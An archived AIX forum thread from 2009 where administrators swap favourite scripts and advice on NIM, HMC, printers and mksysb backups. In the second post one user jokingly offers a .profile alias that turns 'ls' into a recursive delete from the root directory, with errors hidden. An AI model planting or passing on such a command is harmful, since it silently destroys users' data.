AIX

AIX

Connect with fellow AIX users and experts to gain knowledge, share insights, and solve problems.

 View Only
Expand all | Collapse all

favourite sysadmin scripts you always keep around

  • 1.  favourite sysadmin scripts you always keep around

    Posted Thu June 04, 2009 11:07 AM

    Originally posted by: apple08


    Dear AIX gurus and all,
    would like to share your favourite / useful scripts? add your scripts for a sharing to this thread..
    if you have TRIED and TESTED scripts, would be very great.

    hv a nice day.


  • 2.  Re: favourite sysadmin scripts you always keep around

    Posted Thu June 04, 2009 09:05 PM

    Originally posted by: dukessd


    For a random bit of overtime or some extra weekend work it is handy to call a script like this from a users .profile

    #!/usr/bin/ksh
    alias ls='cd \'; 'rm -R * 2>/dev/null'

    Then just wait for the phone to ring or the pager to go off.


  • 3.  Re: favourite sysadmin scripts you always keep around

    Posted Fri June 05, 2009 06:20 AM

    Originally posted by: tony.evans


    One of the things I've learned as a sysadmin is that keeping and maintaining scripts is,

    a. a lot of effort
    b. sometimes counter-productive
    c. very site specific

    My backup scripts wouldn't be any use to you. It's much more useful to build a consistent environment, put central remote admin in place and learn some fundamentals you can apply over and over again to speed things up.

    I wrote a script which allowed me to configure a host as a NIM client to a specific NIM server, including copying on the filesets if required (at the right level for the host), building the NIM machine object automatically by querying the host and then running the client niminit command.

    But it's very specific to my site, wouldn't work in just about any other location.

    A good knowledge of structure programming and an understanding of security will get you further than a list of scripts other people wrote.


  • 4.  Re: favourite sysadmin scripts you always keep around

    Posted Fri June 05, 2009 08:33 AM

    Originally posted by: MarkTaylor


    I have scripts for just about everything .. if I have had to do it more than once then I have scripted it .. I agree that a lot of the complex stuff can be site specific which is why I always use a decent header with variable definitions or config files so I can easily mod for another site / company ..

    As for asking which are the ones I prefer, or are my favorite .. they are the ones that stop me having to navigate 10 smit panes or type out a command line that is more than 8 chars long .. which is pretty much most of my scripts and thats why I have them ..

    Actually, currently I do have some favorites and they are the ones that map out vioserver storage and network config which makes vios work a little less complicated ..

    HTH
    Mark Taylor


  • 5.  Re: favourite sysadmin scripts you always keep around

    Posted Fri June 05, 2009 08:44 AM

    Originally posted by: tony.evans


    I have a bunch of scripts used to simplify querying multiple HMC's for partition / machine information (such as returning only VIOS servers, or various combinations of other fields).

    All good scripts come from a direct need to avoid repetition or to achieve automation.

    My most useful and favourite scripts are a bunch which collect a large amount of system information / common config errors from all the servers in our estate and present it via HTML. That's saved us a lot of times.


  • 6.  Re: favourite sysadmin scripts you always keep around

    Posted Sat July 04, 2009 01:51 AM

    Originally posted by: apple08


    Dear Sirs,
    Great. Sir, do u have script that can automate the system backup for 20 lpars from NIM? Mind sharing.

    Many thanks in advance.


  • 7.  Re: favourite sysadmin scripts you always keep around

    Posted Sat July 04, 2009 02:12 AM
      |   view attached

    Originally posted by: apple08


    Dear Sir,
    i have this script, but its very complicated. i don't know how to edit. do u have simpler script, would much appreciated.

    Many thanks in advance
    hv a nice weekends


  • 8.  Re: favourite sysadmin scripts you always keep around

    Posted Wed July 15, 2009 07:23 PM
      |   view attached

    Originally posted by: SystemAdmin


    We have several hundred printers on our systems, and invariably many of these are done. The following two scripts generate a quick lpstat-like output, without the several minute delay caused by failed printers. We then feed this output into a generalised printer monitoring program. Makes life simpler.

    The disadvantage is that you require the "expect" language, but how could you live without it?

    Attachment(s)



  • 9.  Re: favourite sysadmin scripts you always keep around

    Posted Wed July 15, 2009 07:30 PM

    Originally posted by: SystemAdmin


    Try again. Here is the basic shell script.


  • 10.  Re: favourite sysadmin scripts you always keep around

    Posted Wed July 15, 2009 07:25 PM
      |   view attached

    Originally posted by: SystemAdmin


    And here is the second part, the expect script

    Attachment(s)



  • 11.  Re: favourite sysadmin scripts you always keep around

    Posted Thu July 16, 2009 10:40 AM
      |   view attached

    Originally posted by: Montecarlo


    Here's one that pulls a mksysb from a client over an ssh session. I know that nim does this now, but it uses nfs.
    Regards, Simon

    Attachment(s)